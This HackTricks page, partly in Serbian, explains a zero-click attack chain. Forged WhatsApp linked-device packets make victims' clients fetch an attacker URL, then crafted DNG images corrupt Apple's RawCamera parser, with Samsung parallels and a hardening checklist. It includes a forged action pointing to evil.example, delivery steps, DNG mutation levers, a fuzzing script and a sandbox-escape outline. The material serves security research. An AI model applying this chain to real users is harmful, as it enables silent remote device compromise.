Zero-click Messaging → Image Parser Chains

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

TL;DR

  • Treat messaging app multi-device/companion protocols as remote control channels: if protocol fields are assumed to come from trusted devices, they might still be user-controlled and can often be replayed directly against a victim to load arbitrary content with 0 user interaction.
  • Jednom kada se bilo koja app može prisiliti da preuzme nepoverljivi media, ciljajte na shared OS media pipeline (RawCamera on iOS/macOS, vendor parsers on Android OEM builds) sa malformed fajlovima da biste se pivot-ovali iz sandboks-a.
  • DNG-based RawCamera i Samsung parser bagovi diskutovani ovde su konkretni primeri, ali puna tehnika je ponovno upotrebljiv blueprint za povezivanje logičke greške → korupcija memorije parsera slika → potpuna kompromitacija uređaja.

Remote content loading via WhatsApp linked-device commands

Attack surface recap

WhatsApp “linked devices” arhitektura održava primarni telefon i svaki companion (desktop, tablet, sekundarni telefon) u sinhronizaciji putem enkriptovanih, strukturisanih protokol poruka. Svaka poruka enkodira:

  • Metapodaci uređaja (device ID, capabilities, feature flags).
  • Opisi akcija (npr. sync chats, fetch thumbnails, render remote content).
  • Proizvoljni parametri kao što su URIs, MIME hints, pagination keys, itd.

Na Apple klijentima, handler koji obrađuje ove linked-device kontrolne pakete implicitno je verovao da je važeće sparivanje već izvršeno, pa su polja visokog uticaja (npr. resource_url, open_media, sync_snapshot) bila samo minimalno validirana. Zlonamerna companion poruka bi stoga mogla:

  1. Biti usmerena na bilo koji nalog identifikovan njegovim telefonskim brojem.
  2. Preživeti transportni stack (Noise protocol + WhatsApp protobuf framing) zato što primalac nikada nije verifikovao da je pošiljalac legitimno uparen uređaj.
  3. Stići do iOS klijenta, gde je ranjivi kod automatski pokrenuo pozadinski HTTP(S) zahtev ka attacker URL-u i parsirao odgovor u skrivenom WebView/media renderer-u.

Practical workflow for auditors

  1. Capture legitimate linked-device traffic. Prikačite debugger ili Frida skriptu na desktop/iOS klijent i zakačite handler koji se izvršava posle dekriptovanja (npr. LinkedDevicesSyncHandler::processAction). Izdumpujte dekodirane protobuf payload-e da biste naučili dostupne tipove akcija i parametre.
  2. Identify fields that cross trust boundaries. Bilo koja akcija koja nosi http_url, thumbnail_uri, download_url, ili render_html parametre bez striktne liste dozvoljenih vrednosti je kandidat za remote-content primitiv.
  3. Forge a malicious action. Ponovno iskoristite uočen protobuf schema i modifikujte samo polja koja kontroliše napadač. Pojednostavljeni JSON prikaz relevantne logičke strukture je prikazan ispod (stvarni transport je protobuf/Noise, ali semantička polja se poklapaju):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
  1. Deliver to the victim. Replay the crafted packet through the same WhatsApp service that normally forwards linked-device traffic (e.g., using a modified desktop client or a custom Noise client reusing your attacker account keys). Because CVE-2025-55177 failed to tie actions to authenticated devices, the victim iOS/macOS client would accept the message and immediately fetch the attacker URL without any UI.
  2. Instrument the fetch. Observe the forced HTTP(S) request and the internal renderer (WKWebView/ImageIO). At this point you own a zero-click web delivery primitive inside WhatsApp.

Weaponizing auto-decoded DNGs against RawCamera

Once the attacker controls what WhatsApp loads, the next goal is to make iOS/macOS parse a malicious Digital Negative (DNG) file with the RawCamera framework. Any embedded <img>/CSS URL that resolves to a .dng will be passed to the system image pipeline, invoking RawCamera even if WhatsApp itself never handled DNGs explicitly.

Triggering RawCamera from WhatsApp

  • Serve HTML that references the DNG via multiple mechanisms (e.g., <img src="evil.dng">, CSS background-image: url('evil.dng'), or <picture> sources) to cover different render paths.
  • Ensure correct MIME (image/x-adobe-dng) and small previews so the loader does not bail early because of size heuristics.
  • The iOS media sandbox will stream the file into RawCamera via CGImageSourceCreateWithURL, eventually hitting the vulnerable decoder.

Crafting memory-corrupting DNGs (CVE-2025-43300 style)

The 2025 in-the-wild bug was more specific than a generic malformed TIFF: the DNG carried JPEG-Lossless image data whose internal SOF3 component count disagreed with the TIFF/DNG metadata (SamplesPerPixel). In practice, RawCamera could size some buffers from the outer TIFF fields and later trust the embedded JPEG-Lossless stream while decoding, yielding the out-of-bounds write fixed in iOS 18.6.2 / iPadOS 18.6.2 on August 20, 2025.

That gives auditors a much tighter triage rule than “mutate random tags”:

exiftool -s -SamplesPerPixel -BitsPerSample -Compression poc.dng
python3 - <<'PY'
from pathlib import Path
data = Path('poc.dng').read_bytes()
sof3 = data.index(b'\xff\xc3')
print('SOF3 components =', data[sof3 + 9])
PY

Ako se SamplesPerPixel i broj komponenti u SOF3 razlikuju, veoma ste blizu tačne primitive koja je javno opisana za CVE-2025-43300. Tipične dodatne poluge koje vredi fuzzing-ovati kada imate putanju parsiranja su:

  • Tile/strip descriptors: Set TileByteCounts/StripByteCounts to realistic values but increase TileOffsets to point beyond the allocated buffer.
  • Sub-IFD chains: Ugradite sekundarne slike sa kontradiktornim ImageWidth/ImageLength i BitsPerSample tako da RawCamera izračuna mali buffer dok kasnije faze veruju dimenzijama koje kontroliše napadač.
  • Opcode metadata: Manipulišite OpcodeList3 unose tako da obrada po redu radi nad indeksima koje odabere napadač.

Osnovni mutation harness za traženje takvih korupcija može se izgraditi oko macOS-a, pošto isti RawCamera kod dolazi na macOS/iOS/iPadOS:

#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done

Svaki crash u RawCamera-u daje vam novu primitivu. Objavljeni PoC je postigao uredan out-of-bounds read/write dovoljno pouzdan da sruši WhatsApp na iPhone, iPad i Mac.

Building the 0-click chain

  1. Linked-device packet → prisiljava WhatsApp da bez ikakvih dodira preuzme https://evil.example/payload.html.
  2. Payload HTML → tiho referencira evil.dng, osiguravajući da OS media stack pozove RawCamera.
  3. Malicious DNG → zloupotrebljava crafted tagove da okine RawCamera OOB i sruši/kompromituje image decoder.
  4. Post-corruption exploitation → dodajte info-leak gadgets (npr. zloupotreba predvidljivih heap metadata) i postavite ROP/JOP lanac da pobegnete iz WhatsApp sandbox-a u privilegovanije kontekste.

Pošto je svaki korak automatski, napadaču je potreban samo broj telefona žrtve. Na ciljnom uređaju se ne prikazuju notifikacije, baneri ili promptovi.

Recent Apple parser-chain patterns worth reusing

Ovaj WhatsApp → DNG → RawCamera lanac prati isti dizajn obrazac viđen u nedavnim Apple zero-click kampanjama: pronađite alternativni attachment wrapper koji dopire do manje ograničenog parsera, a zatim naoružajte format fajla koji OS rado preview-uje.

  • BLASTPASS (September 7, 2023 / iOS 16.6.1): Citizen Lab je izvestio o malicioznim PassKit attachment-ima koji sadrže slike, a Apple je zakrpio Wallet (CVE-2023-41061) plus ImageIO (CVE-2023-41064). Kasnija analiza Project Zero-a pokazala je zašto je to operativno važno: napadaču nije bio dovoljan samo parser bug, već i kontejner koji je pomerio parsiranje slika izvan normalnog BlastDoor puta u drugi proces. Prilikom audita messaging aplikacija, nabrojte svaki tip attachment-a koji pokreće background previews u helper daemon-ima (.pkpass, contact cards, sticker bundles, inline HTML, QuickLook previews), ne samo očigledne image attachment-e.
  • TRIANGULATION (patched in iOS 15.7.8 on July 24, 2023, with the mainline fix already in iOS 16.3): Kaspersky je pokazao da je maliciozni iMessage attachment pogodio nedokumentovanu Apple-only ADJUST TrueType instrukciju (CVE-2023-41990). Praktična lekcija je da su fonts image-parser cousins za zero-click rad: rich-text previews, font fallback i thumbnail generation mogu postati parser ulazne tačke čak i kada aplikacija tvrdi da podržava samo “documents” ili “stickers”.

Ponavljajuće pitanje za audit je stoga: koji tipovi poruka izazivaju tihu parsiranje u procesu koji nije očigledni chat renderer? Obično tu počinje lanac. Za uzorak trijaže i cross-field provere konzistentnosti kada imate sumnjiv fajl, ponovo iskoristite this generic structural file-format detection page.

Samsung vendor image parser parallels

Samsung-ov bulletin za CVE-2025-21043 je potvrdio da je njihov proprietarni image parsing stack (koji koriste Gallery, Messages, i indirektno WhatsApp) patio od out-of-bounds write dostupnog preko nepouzdanih medija. Metodologija eksploatacije odražava Apple lanac:

  • Identifikujte auto-preview vektor (chat thumbnails, notification previews, share sheets) koji parsira fajl napadača koristeći Samsung-ove libimagecodec/libOneUI_ImageDecoder biblioteke.
  • Diff-ujte OEM library update-ove ili fuzujte parsere sa malformed RAW/DNG fajlovima dok ne vidite memory corruptions slične RawCamera crash-u (clobber heap metadata, control registra, itd.).
  • Dostavite crafted fajl kroz bilo koji kanal koji već auto-load-uje sadržaj (npr. isti linked-device primitive, WhatsApp preview fetchers, ili Android-ove push-to-talk waveform previews).

Kada postoji OOB write u vendor parser-u, kombinovanje toga sa WhatsApp auto-fetch primitive daje još jedan zero-click lanac na Samsung uređajima.

Testing & hardening checklist

  • Protocol validation: Primena strogih allow-lista za svaku linked-device akciju. Companion komande koje zahtevaju fetch/render moraju dokazati uparivanje uređaja (potpisivanjem payload-a) i URL treba da se poklapa sa allow-listom ili potpisanim blob-om.
  • Transport replay countermeasures: Vežite svaku akciju za per-device ključ i odbacujte pakete čiji sender key nije poznat, čak i ako je protobuf sintaksa ispravna.
  • Media pipeline restrictions: High-level aplikacije bi trebalo da dozvoljavaju samo odobrene MIME tipove i eksplicitno odbijaju RAW/DNG osim ako funkcionalnost nije potrebna.
  • Parser fuzzing regression tests: Čuvajte korpus malformed RAW/DNG fajlova i pokrećite ih protiv RawCamera/vendor dekodera nakon svakog update-a.
  • Crash triage automation: Pričvrstite DYLD_INSERT_LIBRARIES sanitizere ili MTE na fuzz uređajima da uhvatite suptilne OOB uslove pre nego što to urade napadači.

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks